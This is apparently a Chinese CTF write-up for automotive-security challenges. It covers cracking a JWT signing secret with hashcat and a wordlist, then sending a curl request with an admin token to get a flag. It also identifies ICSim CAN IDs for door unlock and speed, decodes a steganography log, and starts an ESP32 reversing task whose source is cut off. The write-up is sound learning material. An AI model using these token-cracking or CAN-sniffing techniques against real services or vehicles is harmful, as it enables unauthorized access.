<p>这里使用例子里的json登录：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">  <span class="nt">&#34;username&#34;</span><span class="p">:</span> <span class="s2">&#34;example&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">  <span class="nt">&#34;email&#34;</span><span class="p">:</span> <span class="s2">&#34;example@example.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">  <span class="nt">&#34;password&#34;</span><span class="p">:</span> <span class="s2">&#34;example123&#34;</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">json</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>可以使用密钥解开password，不过这题admin的密码就是密钥</p>
<p>hashcat命令：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">hashcat -m <span class="m">16500</span> -a <span class="m">0</span> <span class="s2">&#34;C:\Users\Tajang\Desktop\1.txt&#34;</span> <span class="s2">&#34;D:\Tools\字典\密码\rockyou.txt&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>16500代表HS256算法，-a 0代表字典攻击</p>
<p>得到密钥为<code>princess</code></p>
<p>账号为admin，登录即可拿到 token，然后get 访问/protected，header写：authorization: Bearer JWT_TOKEN值</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl -X GET http://celsius.blockharbor.io:5011/protected -H <span class="s2">&#34;Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBiaC5pbyIsInBhc3N3b3JkIjoiJDJiJDEwJFNiNXZ0WU44c3dYR1dtbTNrdmYvbE8uNDdoV3BBQnBQQ2xYNjN2VDZrYWxRTVpYeWVyTy9XIiwiaWF0IjoxNzU3MzQ5MDM1LCJleHAiOjE3NTc3ODEwMzV9.0HdP-jCxBA7DQ1225uzJqsNSklRngOzB9h471UpUD7g&#34;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="o">{</span><span class="s2">&#34;message&#34;</span>:<span class="s2">&#34;Welcome admin! Here&#39;s the flag: bh{cr4ck_d3m_jwts}&#34;</span><span class="o">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>拿到flag：bh{cr4ck_d3m_jwts}</p>
<h2 id="icsim">ICSim<a class="anchor" href="#icsim">#</a></h2>
<h3 id="unlock-my-door">Unlock my door<a class="anchor" href="#unlock-my-door">#</a></h3>
<p>关于安装 ICSim 我写了一篇文章：<a
  href="https://h4cker.zip/post/vm/" rel="nofollow noopener noreferrer" target="_blank"
  >Ubuntu与ICSim安装二三事<span style="user-select:none"> ↗</span></a
>
</p>
<p>在几年前想转车联网安全的时候也出过一期 ICSim 视频：<a
  href="https://www.bilibili.com/video/BV1GF411K7iY/" rel="nofollow noopener noreferrer" target="_blank"
  >车联网安全-把玩汽车安全模拟器ICSim<span style="user-select:none"> ↗</span></a
>
</p>
<p>指定了种子是<code>10000</code></p>
<p>启动仪表盘：<code>./icsim -s 10000 vcan0</code></p>
<p>启动控制器：./controls -s 10000 vcan0</p>
<p>我的方法是对比法：</p>
<p>candump vcan0 &gt; 1.log，什么都不做等待10秒钟。</p>
<p>candump vcan0 &gt; 2.log，启动后只执行一次开门指令，其他转向加速都不要做</p>
<p>提取出两个日志的CAN ID，然后对比，发现 2.log 多出了 5C6，所以答案就是0x5C6</p>
<p><strong>如何对比？</strong></p>
<p>笨方法是提取出CAN ID，去重排序，用肉眼看，或者使用BCompare工具对比</p>
<p>快速方法是：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">comm -13 &lt;<span class="o">(</span>awk <span class="s1">&#39;{print $2}&#39;</span> 1.log <span class="p">|</span> sort <span class="p">|</span> uniq<span class="o">)</span> &lt;<span class="o">(</span>awk <span class="s1">&#39;{print $2}&#39;</span> 2.log <span class="p">|</span> sort <span class="p">|</span> uniq<span class="o">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这个命令会提取CAN ID ，输出 2.log 独有，而 1.log 没有的内容</p>
<blockquote>
<p>comm命令会一列列地比较两个已排序文件的差异，并将其结果显示出来，如果没有指定任何参数，则会把结果分成3行显示：第1行仅是在第1个文件中出现过的列，第2行是仅在第2个文件中出现过的列，第3行则是在第1与第2个文件里都出现过的列。若给予的文件名称为”-“，则comm指令会从标准输入设备读取数据。
-1 不显示只在第1个文件里出现过的列
-2 不显示只在第2个文件里出现过的列
-3 不显示只在第1和第2个文件里出现过的列</p>
</blockquote>
<h3 id="speedometer-arbid">Speedometer ArbId<a class="anchor" href="#speedometer-arbid">#</a></h3>
<p>速度是一直有指令发送的，所以上面的方法不再奏效</p>
<p>我们需要一直加速，观察哪个CAN ID 的数据帧也在不断增大，使用sniffer观察变动的数据</p>
<p><code>cansniffer -c vcan0</code></p>
<p>可以看到779数值在增加，达到最大速度后不再变化</p>
<p>0x779</p>
<h2 id="steganography">Steganography<a class="anchor" href="#steganography">#</a></h2>
<h3 id="alpha-beta-gamma-delta">Alpha Beta Gamma Delta<a class="anchor" href="#alpha-beta-gamma-delta">#</a></h3>
<p>课程自己给了隐写术代码，杂项不太会，通过脚本反推一下如何隐藏的吧</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1">#读取整个日志文件内容，并去除每行末尾的换行符，保存到 data 列表中</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall-log.txt&#39;</span><span class="p">,</span><span class="s1">&#39;r&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">fd</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="n">data</span> <span class="o">=</span> <span class="p">[</span><span class="n">x</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">fd</span><span class="o">.</span><span class="n">readlines</span><span class="p">()]</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1">#从一行日志中提取出时间戳的小数部分（毫秒/微秒级），并转换为整数返回</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">def</span> <span class="nf">convert_line_to_ts</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="n">ts</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39; &#39;</span><span class="p">)[</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">ts</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1">#获取第一行的时间戳小数部分作为初始值</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">last</span> <span class="o">=</span> <span class="n">convert_line_to_ts</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="c1">#遍历其余每一行，计算当前行和上一行时间戳差值，并将其视为 ASCII 码输出对应的字符。</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">:]:</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="n">ts</span> <span class="o">=</span> <span class="n">convert_line_to_ts</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">ts</span> <span class="o">-</span> <span class="n">last</span><span class="p">),</span><span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="n">last</span> <span class="o">=</span> <span class="n">ts</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="nb">print</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>bh{delta_force_five!}</p>
<h2 id="reversing">Reversing<a class="anchor" href="#reversing">#</a></h2>
<h3 id="reversing-1">Reversing #1<a class="anchor" href="#reversing-1">#</a></h3>
<p>逆向咯</p>
<blockquote>
<p>We managed to get the source code to a program running on an ESP32, can you reverse it and find an input that unlocks it?
我们成功获取了运行在 ESP32 上的程序源代码，你能对其进行逆向分析，并找出一个能解锁它的输入吗？</p>
</blockquote>
<p>就是典型的CTF题，看逻辑写脚本破解密码</p>
<p>给的代码是：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#define MAX_SIZE 32
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">a</span> <span class="o">=</span> <span class="mi">1103515245</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">c</span> <span class="o">=</span> <span class="mi">12345</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">m</span> <span class="o">=</span> <span class="mi">2147483647</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="kt">uint32_t</span> <span class="n">seed</span> <span class="o">=</span> <span class="mi">1337</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">user_input</span><span class="p">[</span><span class="n">MAX_SIZE</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">STATE</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x1e48add6</span><span class="p">,</span> <span class="mh">0xaaa7550c</span><span class="p">,</span> <span class="mh">0x18df53bf</span><span class="p">,</span> <span class="mh">0xe6af1116</span><span class="p">};</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="kt">uint32_t</span> <span class="n">start</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">};</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="kt">uint32_t</span> <span class="nf">gen_random</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="n">seed</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)(((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a</span> <span class="o">*</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">seed</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">c</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="k">return</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">seed</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="kt">void</span> <span class="nf">setup</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">begin</span><span class="p">(</span><span class="mi">115200</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;==================================================&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;=               SECURE LOCK - v0.5               =&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;==================================================&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="kt">int</span> <span class="nf">check_pass</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="n">start</span><span class="p">[])</span> <span class="p">{</span>
